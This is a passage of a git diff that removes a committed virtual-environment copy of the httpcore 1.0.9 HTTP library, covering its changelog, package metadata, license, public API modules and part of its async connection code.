0.16.2 (November 25th, 2022) - -- Revert 'Fix async cancellation behaviour', which introduced race conditions. (#627) -- Raise `RuntimeError` if attempting to us UNIX domain sockets on Windows. (#619) - -## 0.16.1 (November 17th, 2022) - -- Fix HTTP/1.1 interim informational responses, such as "100 Continue". (#605) - -## 0.16.0 (October 11th, 2022) - -- Support HTTP/1.1 informational responses. (#581) -- Fix async cancellation behaviour. (#580) -- Support `h11` 0.14. (#579) - -## 0.15.0 (May 17th, 2022) - -- Drop Python 3.6 support (#535) -- Ensure HTTP proxy CONNECT requests include `timeout` configuration. (#506) -- Switch to explicit `typing.Optional` for type hints. (#513) -- For `trio` map OSError exceptions to `ConnectError`. (#543) - -## 0.14.7 (February 4th, 2022) - -- Requests which raise a PoolTimeout need to be removed from the pool queue. (#502) -- Fix AttributeError that happened when Socks5Connection were terminated. (#501) - -## 0.14.6 (February 1st, 2022) - -- Fix SOCKS support for `http://` URLs. (#492) -- Resolve race condition around exceptions during streaming a response. (#491) - -## 0.14.5 (January 18th, 2022) - -- SOCKS proxy support. (#478) -- Add proxy_auth argument to HTTPProxy. (#481) -- Improve error message on 'RemoteProtocolError' exception when server disconnects without sending a response. (#479) - -## 0.14.4 (January 5th, 2022) - -- Support HTTP/2 on HTTPS tunnelling proxies. (#468) -- Fix proxy headers missing on HTTP forwarding. (#456) -- Only instantiate SSL context if required. (#457) -- More robust HTTP/2 handling. (#253, #439, #440, #441) - -## 0.14.3 (November 17th, 2021) - -- Fix race condition when removing closed connections from the pool. (#437) - -## 0.14.2 (November 16th, 2021) - -- Failed connections no longer remain in the pool. (Pull #433) - -## 0.14.1 (November 12th, 2021) - -- `max_connections` becomes optional. (Pull #429) -- `certifi` is now included in the install dependancies. (Pull #428) -- `h2` is now strictly optional. (Pull #428) - -## 0.14.0 (November 11th, 2021) - -The 0.14 release is a complete reworking of `httpcore`, comprehensively addressing some underlying issues in the connection pooling, as well as substantially redesigning the API to be more user friendly. - -Some of the lower-level API design also makes the components more easily testable in isolation, and the package now has 100% test coverage. - -See [discussion #419](https://github.com/encode/httpcore/discussions/419) for a little more background. - -There's some other neat bits in there too, such as the "trace" extension, which gives a hook into inspecting the internal events that occur during the request/response cycle. This extension is needed for the HTTPX cli, in order to... - -* Log the point at which the connection is established, and the IP/port on which it is made. -* Determine if the outgoing request should log as HTTP/1.1 or HTTP/2, rather than having to assume it's HTTP/2 if the --http2 flag was passed. (Which may not actually be true.) -* Log SSL version info / certificate info. - -Note that `curio` support is not currently available in 0.14.0. If you're using `httpcore` with `curio` please get in touch, so we can assess if we ought to prioritize it as a feature or not. - -## 0.13.7 (September 13th, 2021) - -- Fix broken error messaging when URL scheme is missing, or a non HTTP(S) scheme is used. (Pull #403) - -## 0.13.6 (June 15th, 2021) - -### Fixed - -- Close sockets when read or write timeouts occur. (Pull #365) - -## 0.13.5 (June 14th, 2021) - -### Fixed - -- Resolved niggles with AnyIO EOF behaviours. (Pull #358, #362) - -## 0.13.4 (June 9th, 2021) - -### Added - -- Improved error messaging when URL scheme is missing, or a non HTTP(S) scheme is used. (Pull #354) - -### Fixed - -- Switched to `anyio` as the default backend implementation when running with `asyncio`. Resolves some awkward [TLS timeout issues](https://github.com/encode/httpx/discussions/1511). - -## 0.13.3 (May 6th, 2021) - -### Added - -- Support HTTP/2 prior knowledge, using `httpcore.SyncConnectionPool(http1=False)`. (Pull #333) - -### Fixed - -- Handle cases where environment does not provide `select.poll` support. (Pull #331) - -## 0.13.2 (April 29th, 2021) - -### Added - -- Improve error message for specific case of `RemoteProtocolError` where server disconnects without sending a response. (Pull #313) - -## 0.13.1 (April 28th, 2021) - -### Fixed - -- More resiliant testing for closed connections. (Pull #311) -- Don't raise exceptions on ungraceful connection closes. (Pull #310) - -## 0.13.0 (April 21st, 2021) - -The 0.13 release updates the core API in order to match the HTTPX Transport API, -introduced in HTTPX 0.18 onwards. - -An example of making requests with the new interface is: - -```python -with httpcore.SyncConnectionPool() as http: - status_code, headers, stream, extensions = http.handle_request( - method=b'GET', - url=(b'https', b'example.org', 443, b'/'), - headers=[(b'host', b'example.org'), (b'user-agent', b'httpcore')] - stream=httpcore.ByteStream(b''), - extensions={} - ) - body = stream.read() - print(status_code, body) -``` - -### Changed - -- The `.request()` method is now `handle_request()`. (Pull #296) -- The `.arequest()` method is now `.handle_async_request()`. (Pull #296) -- The `headers` argument is no longer optional. (Pull #296) -- The `stream` argument is no longer optional. (Pull #296) -- The `ext` argument is now named `extensions`, and is no longer optional. (Pull #296) -- The `"reason"` extension keyword is now named `"reason_phrase"`. (Pull #296) -- The `"reason_phrase"` and `"http_version"` extensions now use byte strings for their values. (Pull #296) -- The `httpcore.PlainByteStream()` class becomes `httpcore.ByteStream()`. (Pull #296) - -### Added - -- Streams now support a `.read()` interface. (Pull #296) - -### Fixed - -- Task cancellation no longer leaks connections from the connection pool. (Pull #305) - -## 0.12.3 (December 7th, 2020) - -### Fixed - -- Abort SSL connections on close rather than waiting for remote EOF when using `asyncio`. (Pull #167) -- Fix exception raised in case of connect timeouts when using the `anyio` backend. (Pull #236) -- Fix `Host` header precedence for `:authority` in HTTP/2. (Pull #241, #243) -- Handle extra edge case when detecting for socket readability when using `asyncio`. (Pull #242, #244) -- Fix `asyncio` SSL warning when using proxy tunneling. (Pull #249) - -## 0.12.2 (November 20th, 2020) - -### Fixed - -- Properly wrap connect errors on the asyncio backend. (Pull #235) -- Fix `ImportError` occurring on Python 3.9 when using the HTTP/1.1 sync client in a multithreaded context. (Pull #237) - -## 0.12.1 (November 7th, 2020) - -### Added - -- Add connect retries. (Pull #221) - -### Fixed - -- Tweak detection of dropped connections, resolving an issue with open files limits on Linux. (Pull #185) -- Avoid leaking connections when establishing an HTTP tunnel to a proxy has failed. (Pull #223) -- Properly wrap OS errors when using `trio`. (Pull #225) - -## 0.12.0 (October 6th, 2020) - -### Changed - -- HTTP header casing is now preserved, rather than always sent in lowercase. (#216 and python-hyper/h11#104) - -### Added - -- Add Python 3.9 to officially supported versions. - -### Fixed - -- Gracefully handle a stdlib asyncio bug when a connection is closed while it is in a paused-for-reading state. (#201) - -## 0.11.1 (September 28nd, 2020) - -### Fixed - -- Add await to async semaphore release() coroutine (#197) -- Drop incorrect curio classifier (#192) - -## 0.11.0 (September 22nd, 2020) - -The Transport API with 0.11.0 has a couple of significant changes. - -Firstly we've moved changed the request interface in order to allow extensions, which will later enable us to support features -such as trailing headers, HTTP/2 server push, and CONNECT/Upgrade connections. - -The interface changes from: - -```python -def request(method, url, headers, stream, timeout): - return (http_version, status_code, reason, headers, stream) -``` - -To instead including an optional dictionary of extensions on the request and response: - -```python -def request(method, url, headers, stream, ext): - return (status_code, headers, stream, ext) -``` - -Having an open-ended extensions point will allow us to add later support for various optional features, that wouldn't otherwise be supported without these API changes. - -In particular: - -* Trailing headers support. -* HTTP/2 Server Push -* sendfile. -* Exposing raw connection on CONNECT, Upgrade, HTTP/2 bi-di streaming. -* Exposing debug information out of the API, including template name, template context. - -Currently extensions are limited to: - -* request: `timeout` - Optional. Timeout dictionary. -* response: `http_version` - Optional. Include the HTTP version used on the response. -* response: `reason` - Optional. Include the reason phrase used on the response. Only valid with HTTP/1.*. - -See https://github.com/encode/httpx/issues/1274#issuecomment-694884553 for the history behind this. - -Secondly, the async version of `request` is now namespaced as `arequest`. - -This allows concrete transports to support both sync and async implementations on the same class. - -### Added - -- Add curio support. (Pull #168) -- Add anyio support, with `backend="anyio"`. (Pull #169) - -### Changed - -- Update the Transport API to use 'ext' for optional extensions. (Pull #190) -- Update the Transport API to use `.request` and `.arequest` so implementations can support both sync and async. (Pull #189) - -## 0.10.2 (August 20th, 2020) - -### Added - -- Added Unix Domain Socket support. (Pull #139) - -### Fixed - -- Always include the port on proxy CONNECT requests. (Pull #154) -- Fix `max_keepalive_connections` configuration. (Pull #153) -- Fixes behaviour in HTTP/1.1 where server disconnects can be used to signal the end of the response body. (Pull #164) - -## 0.10.1 (August 7th, 2020) - -- Include `max_keepalive_connections` on `AsyncHTTPProxy`/`SyncHTTPProxy` classes. - -## 0.10.0 (August 7th, 2020) - -The most notable change in the 0.10.0 release is that HTTP/2 support is now fully optional. - -Use either `pip install httpcore` for HTTP/1.1 support only, or `pip install httpcore[http2]` for HTTP/1.1 and HTTP/2 support. - -### Added - -- HTTP/2 support becomes optional. (Pull #121, #130) -- Add `local_address=...` support. (Pull #100, #134) -- Add `PlainByteStream`, `IteratorByteStream`, `AsyncIteratorByteStream`. The `AsyncByteSteam` and `SyncByteStream` classes are now pure interface classes. (#133) -- Add `LocalProtocolError`, `RemoteProtocolError` exceptions. (Pull #129) -- Add `UnsupportedProtocol` exception. (Pull #128) -- Add `.get_connection_info()` method. (Pull #102, #137) -- Add better TRACE logs. (Pull #101) - -### Changed - -- `max_keepalive` is deprecated in favour of `max_keepalive_connections`. (Pull #140) - -### Fixed - -- Improve handling of server disconnects. (Pull #112) - -## 0.9.1 (May 27th, 2020) - -### Fixed - -- Proper host resolution for sync case, including IPv6 support. (Pull #97) -- Close outstanding connections when connection pool is closed. (Pull #98) - -## 0.9.0 (May 21th, 2020) - -### Changed - -- URL port becomes an `Optional[int]` instead of `int`. (Pull #92) - -### Fixed - -- Honor HTTP/2 max concurrent streams settings. (Pull #89, #90) -- Remove incorrect debug log. (Pull #83) - -## 0.8.4 (May 11th, 2020) - -### Added - -- Logging via HTTPCORE_LOG_LEVEL and HTTPX_LOG_LEVEL environment variables -and TRACE level logging. (Pull #79) - -### Fixed - -- Reuse of connections on HTTP/2 in close concurrency situations. (Pull #81) - -## 0.8.3 (May 6rd, 2020) - -### Fixed - -- Include `Host` and `Accept` headers on proxy "CONNECT" requests. -- De-duplicate any headers also contained in proxy_headers. -- HTTP/2 flag not being passed down to proxy connections. - -## 0.8.2 (May 3rd, 2020) - -### Fixed - -- Fix connections using proxy forwarding requests not being added to the -connection pool properly. (Pull #70) - -## 0.8.1 (April 30th, 2020) - -### Changed - -- Allow inherintance of both `httpcore.AsyncByteStream`, `httpcore.SyncByteStream` without type conflicts. - -## 0.8.0 (April 30th, 2020) - -### Fixed - -- Fixed tunnel proxy support. - -### Added - -- New `TimeoutException` base class. - -## 0.7.0 (March 5th, 2020) - -- First integration with HTTPX. diff --git a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/RECORD b/venv/Lib/site-packages/httpcore-1.0.9.dist-info/RECORD deleted file mode 100644 index 373a07aa0658861d810e48f902414ca8134e3a8f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/RECORD +++ /dev/null @@ -1,68 +0,0 @@ -httpcore-1.0.9.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -httpcore-1.0.9.dist-info/METADATA,sha256=_i1P2mGZEol4d54M8n88BFxTGGP83Zh-rMdPOhjUHCE,21529 -httpcore-1.0.9.dist-info/RECORD,, -httpcore-1.0.9.dist-info/WHEEL,sha256=qtCwoSJWgHk21S1Kb4ihdzI2rlJ1ZKaIurTj_ngOhyQ,87 -httpcore-1.0.9.dist-info/licenses/LICENSE.md,sha256=_ctZFUx0y6uhahEkL3dAvqnyPW_rVUeRfYxflKgDkqU,1518 -httpcore/__init__.py,sha256=9kT_kqChCCJUTHww24ZmR_ezcdbpRYWksD-gYNzkZP8,3445 -httpcore/__pycache__/__init__.cpython-314.pyc,, -httpcore/__pycache__/_api.cpython-314.pyc,, -httpcore/__pycache__/_exceptions.cpython-314.pyc,, -httpcore/__pycache__/_models.cpython-314.pyc,, -httpcore/__pycache__/_ssl.cpython-314.pyc,, -httpcore/__pycache__/_synchronization.cpython-314.pyc,, -httpcore/__pycache__/_trace.cpython-314.pyc,, -httpcore/__pycache__/_utils.cpython-314.pyc,, -httpcore/_api.py,sha256=unZmeDschBWCGCPCwkS3Wot9euK6bg_kKxLtGTxw214,3146 -httpcore/_async/__init__.py,sha256=EWdl2v4thnAHzJpqjU4h2a8DUiGAvNiWrkii9pfhTf0,1221 -httpcore/_async/__pycache__/__init__.cpython-314.pyc,, -httpcore/_async/__pycache__/connection.cpython-314.pyc,, -httpcore/_async/__pycache__/connection_pool.cpython-314.pyc,, -httpcore/_async/__pycache__/http11.cpython-314.pyc,, -httpcore/_async/__pycache__/http2.cpython-314.pyc,, -httpcore/_async/__pycache__/http_proxy.cpython-314.pyc,, -httpcore/_async/__pycache__/interfaces.cpython-314.pyc,, -httpcore/_async/__pycache__/socks_proxy.cpython-314.pyc,, -httpcore/_async/connection.py,sha256=6OcPXqMEfc0BU38_-iHUNDd1vKSTc2UVT09XqNb_BOk,8449 -httpcore/_async/connection_pool.py,sha256=DOIQ2s2ZCf9qfwxhzMprTPLqCL8OxGXiKF6qRHxvVyY,17307 -httpcore/_async/http11.py,sha256=-qM9bV7PjSQF5vxs37-eUXOIFwbIjPcZbNliuX9TtBw,13880 -httpcore/_async/http2.py,sha256=azX1fcmtXaIwjputFlZ4vd92J8xwjGOa9ax9QIv4394,23936 -httpcore/_async/http_proxy.py,sha256=2zVkrlv-Ds-rWGaqaXlrhEJiAQFPo23BT3Gq_sWoBXU,14701 -httpcore/_async/interfaces.py,sha256=jTiaWL83pgpGC9ziv90ZfwaKNMmHwmOalzaKiuTxATo,4455 -httpcore/_async/socks_proxy.py,sha256=lLKgLlggPfhFlqi0ODeBkOWvt9CghBBUyqsnsU1tx6Q,13841 -httpcore/_backends/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -httpcore/_backends/__pycache__/__init__.cpython-314.pyc,, -httpcore/_backends/__pycache__/anyio.cpython-314.pyc,, -httpcore/_backends/__pycache__/auto.cpython-314.pyc,, -httpcore/_backends/__pycache__/base.cpython-314.pyc,, -httpcore/_backends/__pycache__/mock.cpython-314.pyc,, -httpcore/_backends/__pycache__/sync.cpython-314.pyc,, -httpcore/_backends/__pycache__/trio.cpython-314.pyc,, -httpcore/_backends/anyio.py,sha256=x8PgEhXRC8bVqsdzk_YJx8Y6d9Tub06CuUSwnbmtqoY,5252 -httpcore/_backends/auto.py,sha256=zO136PKZmsaTDK-HRk84eA-MUg8_2wJf4NvmK432Aio,1662 -httpcore/_backends/base.py,sha256=aShgRdZnMmRhFWHetjumlM73f8Kz1YOAyCUP_4kHslA,3042 -httpcore/_backends/mock.py,sha256=er9T436uSe7NLrfiLa4x6Nuqg5ivQ693CxWYCWsgbH4,4077 -httpcore/_backends/sync.py,sha256=bhE4d9iK9Umxdsdsgm2EfKnXaBms2WggGYU-7jmUujU,7977 -httpcore/_backends/trio.py,sha256=LHu4_Mr5MswQmmT3yE4oLgf9b_JJfeVS4BjDxeJc7Ro,5996 -httpcore/_exceptions.py,sha256=looCKga3_YVYu3s-d3L9RMPRJyhsY7fiuuGxvkOD0c0,1184 -httpcore/_models.py,sha256=IO2CcXcdpovRcLTdGFGB6RyBZdEm2h_TOmoCc4rEKho,17623 -httpcore/_ssl.py,sha256=srqmSNU4iOUvWF-SrJvb8G_YEbHFELOXQOwdDIBTS9c,187 -httpcore/_sync/__init__.py,sha256=JBDIgXt5la1LCJ1sLQeKhjKFpLnpNr8Svs6z2ni3fgg,1141 -httpcore/_sync/__pycache__/__init__.cpython-314.pyc,, -httpcore/_sync/__pycache__/connection.cpython-314.pyc,, -httpcore/_sync/__pycache__/connection_pool.cpython-314.pyc,, -httpcore/_sync/__pycache__/http11.cpython-314.pyc,, -httpcore/_sync/__pycache__/http2.cpython-314.pyc,, -httpcore/_sync/__pycache__/http_proxy.cpython-314.pyc,, -httpcore/_sync/__pycache__/interfaces.cpython-314.pyc,, -httpcore/_sync/__pycache__/socks_proxy.cpython-314.pyc,, -httpcore/_sync/connection.py,sha256=9exGOb3PB-Mp2T1-sckSeL2t-tJ_9-NXomV8ihmWCgU,8238 -httpcore/_sync/connection_pool.py,sha256=a-T8LTsUxc7r0Ww1atfHSDoWPjQ0fA8Ul7S3-F0Mj70,16955 -httpcore/_sync/http11.py,sha256=IFobD1Md5JFlJGKWnh1_Q3epikUryI8qo09v8MiJIEA,13476 -httpcore/_sync/http2.py,sha256=AxU4yhcq68Bn5vqdJYtiXKYUj7nvhYbxz3v4rT4xnvA,23400 -httpcore/_sync/http_proxy.py,sha256=_al_6crKuEZu2wyvu493RZImJdBJnj5oGKNjLOJL2Zo,14463 -httpcore/_sync/interfaces.py,sha256=snXON42vUDHO5JBJvo8D4VWk2Wat44z2OXXHDrjbl94,4344 -httpcore/_sync/socks_proxy.py,sha256=zegZW9Snqj2_992DFJa8_CppOVBkVL4AgwduRkStakQ,13614 -httpcore/_synchronization.py,sha256=zSi13mAColBnknjZBknUC6hKNDQT4C6ijnezZ-r0T2s,9434 -httpcore/_trace.py,sha256=ck6ZoIzYTkdNAIfq5MGeKqBXDtqjOX-qfYwmZFbrGco,3952 -httpcore/_utils.py,sha256=_RLgXYOAYC350ikALV59GZ68IJrdocRZxPs9PjmzdFY,1537 -httpcore/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/WHEEL b/venv/Lib/site-packages/httpcore-1.0.9.dist-info/WHEEL deleted file mode 100644 index 12228d414b6cfed7c39d3781c85c63256a1d7fb5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: hatchling 1.27.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/licenses/LICENSE.md b/venv/Lib/site-packages/httpcore-1.0.9.dist-info/licenses/LICENSE.md deleted file mode 100644 index 311b2b56c53f678ab95fc0def708c675d521a807..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/licenses/LICENSE.md +++ /dev/null @@ -1,27 +0,0 @@ -Copyright © 2020, [Encode OSS Ltd](https://www.encode.io/). -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/venv/Lib/site-packages/httpcore/__init__.py b/venv/Lib/site-packages/httpcore/__init__.py deleted file mode 100644 index 9a92dc4a440bdf6f259ec1083c89c817eb7b631b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/__init__.py +++ /dev/null @@ -1,141 +0,0 @@ -from ._api import request, stream -from ._async import ( - AsyncConnectionInterface, - AsyncConnectionPool, - AsyncHTTP2Connection, - AsyncHTTP11Connection, - AsyncHTTPConnection, - AsyncHTTPProxy, - AsyncSOCKSProxy, -) -from ._backends.base import ( - SOCKET_OPTION, - AsyncNetworkBackend, - AsyncNetworkStream, - NetworkBackend, - NetworkStream, -) -from ._backends.mock import AsyncMockBackend, AsyncMockStream, MockBackend, MockStream -from ._backends.sync import SyncBackend -from ._exceptions import ( - ConnectError, - ConnectionNotAvailable, - ConnectTimeout, - LocalProtocolError, - NetworkError, - PoolTimeout, - ProtocolError, - ProxyError, - ReadError, - ReadTimeout, - RemoteProtocolError, - TimeoutException, - UnsupportedProtocol, - WriteError, - WriteTimeout, -) -from ._models import URL, Origin, Proxy, Request, Response -from ._ssl import default_ssl_context -from ._sync import ( - ConnectionInterface, - ConnectionPool, - HTTP2Connection, - HTTP11Connection, - HTTPConnection, - HTTPProxy, - SOCKSProxy, -) - -# The 'httpcore.AnyIOBackend' class is conditional on 'anyio' being installed. -try: - from ._backends.anyio import AnyIOBackend -except ImportError: # pragma: nocover - - class AnyIOBackend: # type: ignore - def __init__(self, *args, **kwargs): # type: ignore - msg = ( - "Attempted to use 'httpcore.AnyIOBackend' but 'anyio' is not installed." - ) - raise RuntimeError(msg) - - -# The 'httpcore.TrioBackend' class is conditional on 'trio' being installed. -try: - from ._backends.trio import TrioBackend -except ImportError: # pragma: nocover - - class TrioBackend: # type: ignore - def __init__(self, *args, **kwargs): # type: ignore - msg = "Attempted to use 'httpcore.TrioBackend' but 'trio' is not installed." - raise RuntimeError(msg) - - -__all__ = [ - # top-level requests - "request", - "stream", - # models - "Origin", - "URL", - "Request", - "Response", - "Proxy", - # async - "AsyncHTTPConnection", - "AsyncConnectionPool", - "AsyncHTTPProxy", - "AsyncHTTP11Connection", - "AsyncHTTP2Connection", - "AsyncConnectionInterface", - "AsyncSOCKSProxy", - # sync - "HTTPConnection", - "ConnectionPool", - "HTTPProxy", - "HTTP11Connection", - "HTTP2Connection", - "ConnectionInterface", - "SOCKSProxy", - # network backends, implementations - "SyncBackend", - "AnyIOBackend", - "TrioBackend", - # network backends, mock implementations - "AsyncMockBackend", - "AsyncMockStream", - "MockBackend", - "MockStream", - # network backends, interface - "AsyncNetworkStream", - "AsyncNetworkBackend", - "NetworkStream", - "NetworkBackend", - # util - "default_ssl_context", - "SOCKET_OPTION", - # exceptions - "ConnectionNotAvailable", - "ProxyError", - "ProtocolError", - "LocalProtocolError", - "RemoteProtocolError", - "UnsupportedProtocol", - "TimeoutException", - "PoolTimeout", - "ConnectTimeout", - "ReadTimeout", - "WriteTimeout", - "NetworkError", - "ConnectError", - "ReadError", - "WriteError", -] - -__version__ = "1.0.9" - - -__locals = locals() -for __name in __all__: - # Exclude SOCKET_OPTION, it causes AttributeError on Python 3.14 - if not __name.startswith(("__", "SOCKET_OPTION")): - setattr(__locals[__name], "__module__", "httpcore") # noqa diff --git a/venv/Lib/site-packages/httpcore/_api.py b/venv/Lib/site-packages/httpcore/_api.py deleted file mode 100644 index 38b961d10de88bebc98c758d0d1f14af1e7c0370..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_api.py +++ /dev/null @@ -1,94 +0,0 @@ -from __future__ import annotations - -import contextlib -import typing - -from ._models import URL, Extensions, HeaderTypes, Response -from ._sync.connection_pool import ConnectionPool - - -def request( - method: bytes | str, - url: URL | bytes | str, - *, - headers: HeaderTypes = None, - content: bytes | typing.Iterator[bytes] | None = None, - extensions: Extensions | None = None, -) -> Response: - """ - Sends an HTTP request, returning the response. - - ``` - response = httpcore.request("GET", "https://www.example.com/") - ``` - - Arguments: - method: The HTTP method for the request. Typically one of `"GET"`, - `"OPTIONS"`, `"HEAD"`, `"POST"`, `"PUT"`, `"PATCH"`, or `"DELETE"`. - url: The URL of the HTTP request. Either as an instance of `httpcore.URL`, - or as str/bytes. - headers: The HTTP request headers. Either as a dictionary of str/bytes, - or as a list of two-tuples of str/bytes. - content: The content of the request body. Either as bytes, - or as a bytes iterator. - extensions: A dictionary of optional extra information included on the request. - Possible keys include `"timeout"`. - - Returns: - An instance of `httpcore.Response`. - """ - with ConnectionPool() as pool: - return pool.request( - method=method, - url=url, - headers=headers, - content=content, - extensions=extensions, - ) - - -@contextlib.contextmanager -def stream( - method: bytes | str, - url: URL | bytes | str, - *, - headers: HeaderTypes = None, - content: bytes | typing.Iterator[bytes] | None = None, - extensions: Extensions | None = None, -) -> typing.Iterator[Response]: - """ - Sends an HTTP request, returning the response within a content manager. - - ``` - with httpcore.stream("GET", "https://www.example.com/") as response: - ... - ``` - - When using the `stream()` function, the body of the response will not be - automatically read. If you want to access the response body you should - either use `content = response.read()`, or `for chunk in response.iter_content()`. - - Arguments: - method: The HTTP method for the request. Typically one of `"GET"`, - `"OPTIONS"`, `"HEAD"`, `"POST"`, `"PUT"`, `"PATCH"`, or `"DELETE"`. - url: The URL of the HTTP request. Either as an instance of `httpcore.URL`, - or as str/bytes. - headers: The HTTP request headers. Either as a dictionary of str/bytes, - or as a list of two-tuples of str/bytes. - content: The content of the request body. Either as bytes, - or as a bytes iterator. - extensions: A dictionary of optional extra information included on the request. - Possible keys include `"timeout"`. - - Returns: - An instance of `httpcore.Response`. - """ - with ConnectionPool() as pool: - with pool.stream( - method=method, - url=url, - headers=headers, - content=content, - extensions=extensions, - ) as response: - yield response diff --git a/venv/Lib/site-packages/httpcore/_async/__init__.py b/venv/Lib/site-packages/httpcore/_async/__init__.py deleted file mode 100644 index 88dc7f01e132933728cbcf45c88ce82e85ddf65f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_async/__init__.py +++ /dev/null @@ -1,39 +0,0 @@ -from .connection import AsyncHTTPConnection -from .connection_pool import AsyncConnectionPool -from .http11 import AsyncHTTP11Connection -from .http_proxy import AsyncHTTPProxy -from .interfaces import AsyncConnectionInterface - -try: - from .http2 import AsyncHTTP2Connection -except ImportError: # pragma: nocover - - class AsyncHTTP2Connection: # type: ignore - def __init__(self, *args, **kwargs) -> None: # type: ignore - raise RuntimeError( - "Attempted to use http2 support, but the `h2` package is not " - "installed. Use 'pip install httpcore[http2]'." - ) - - -try: - from .socks_proxy import AsyncSOCKSProxy -except ImportError: # pragma: nocover - - class AsyncSOCKSProxy: # type: ignore - def __init__(self, *args, **kwargs) -> None: # type: ignore - raise RuntimeError( - "Attempted to use SOCKS support, but the `socksio` package is not " - "installed. Use 'pip install httpcore[socks]'." - ) - - -__all__ = [ - "AsyncHTTPConnection", - "AsyncConnectionPool", - "AsyncHTTPProxy", - "AsyncHTTP11Connection", - "AsyncHTTP2Connection", - "AsyncConnectionInterface", - "AsyncSOCKSProxy", -] diff --git a/venv/Lib/site-packages/httpcore/_async/connection.py b/venv/Lib/site-packages/httpcore/_async/connection.py deleted file mode 100644 index b42581dff8aabf4c2ef80ffda26296e1b368d693..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_async/connection.py +++ /dev/null @@ -1,222 +0,0 @@ -from __future__ import annotations - -import itertools -import logging -import ssl -import types -import typing - -from .._backends.auto import AutoBackend -from .._backends.base import SOCKET_OPTION, AsyncNetworkBackend, AsyncNetworkStream -from .._exceptions import ConnectError, ConnectTimeout -from .._models import Origin, Request, Response -from .._ssl import default_ssl_context -from .._synchronization import AsyncLock -from .._trace import Trace -from .http11 import AsyncHTTP11Connection -from .interfaces import AsyncConnectionInterface - -RETRIES_BACKOFF_FACTOR = 0.5 # 0s, 0.5s, 1s, 2s, 4s, etc. - - -logger = logging.getLogger("httpcore.connection") - - -def exponential_backoff(factor: float) -> typing.Iterator[float]: - """ - Generate a geometric sequence that has a ratio of 2 and starts with 0. - - For example: - - `factor = 2`: `0, 2, 4, 8, 16, 32, 64, ...` - - `factor = 3`: `0, 3, 6, 12, 24, 48, 96, ...` - """ - yield 0 - for n in itertools.count(): - yield factor * 2**n - - -class AsyncHTTPConnection(AsyncConnectionInterface): - def __init__( - self, - origin: Origin, - ssl_context: ssl.SSLContext | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - retries: int = 0, - local_address: str | None = None, - uds: str | None = None, - network_backend: AsyncNetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - self._origin = origin - self._ssl_context = ssl_context - self._keepalive_expiry = keepalive_expiry - self._http1 = http1 - self._http2 = http2 - self._retries = retries - self._local_address = local_address - self._uds = uds - - self._network_backend: AsyncNetworkBackend = ( - AutoBackend() if network_backend is None else network_backend - ) - self._connection: AsyncConnectionInterface | None = None - self._connect_failed: bool = False - self._request_lock = AsyncLock() - self._socket_options = socket_options - - async def handle_async_request(self, request: Request) -> Response: - if not self.can_handle_request(request.url.origin): - raise RuntimeError( - f"Attempted to send request to {request.url.origin} on connection to {self._origin}" - ) - - try: - async with self._request_lock: - if self._connection is None: - stream = await self._connect(request) - - ssl_object = stream.get_extra_info("ssl_object") - http2_negotiated = ( - ssl_object is not None - and ssl_object.selected_alpn_protocol() == "h2" - ) - if http2_negotiated or (self._http2 and not self._http1): - from .http2 import AsyncHTTP2Connection - - self._connection = AsyncHTTP2Connection( - origin=self._origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - else: - self._connection = AsyncHTTP11Connection( - origin=self._origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - except BaseException as exc: - self._connect_failed = True - raise exc - - return await self._connection.handle_async_request(request) - - async def _connect(self, request: Request) -> AsyncNetworkStream: - timeouts = request.extensions.get("timeout", {}) - sni_hostname = request.extensions.get("sni_hostname", None) - timeout = timeouts.get("connect", None) - - retries_left = self._retries - delays = exponential_backoff(factor=RETRIES_BACKOFF_FACTOR) - - while True: - try: - if self._uds is None: - kwargs = { - "host": self._origin.host.decode("ascii"), - "port": self._origin.port, - "local_address": self._local_address, - "timeout": 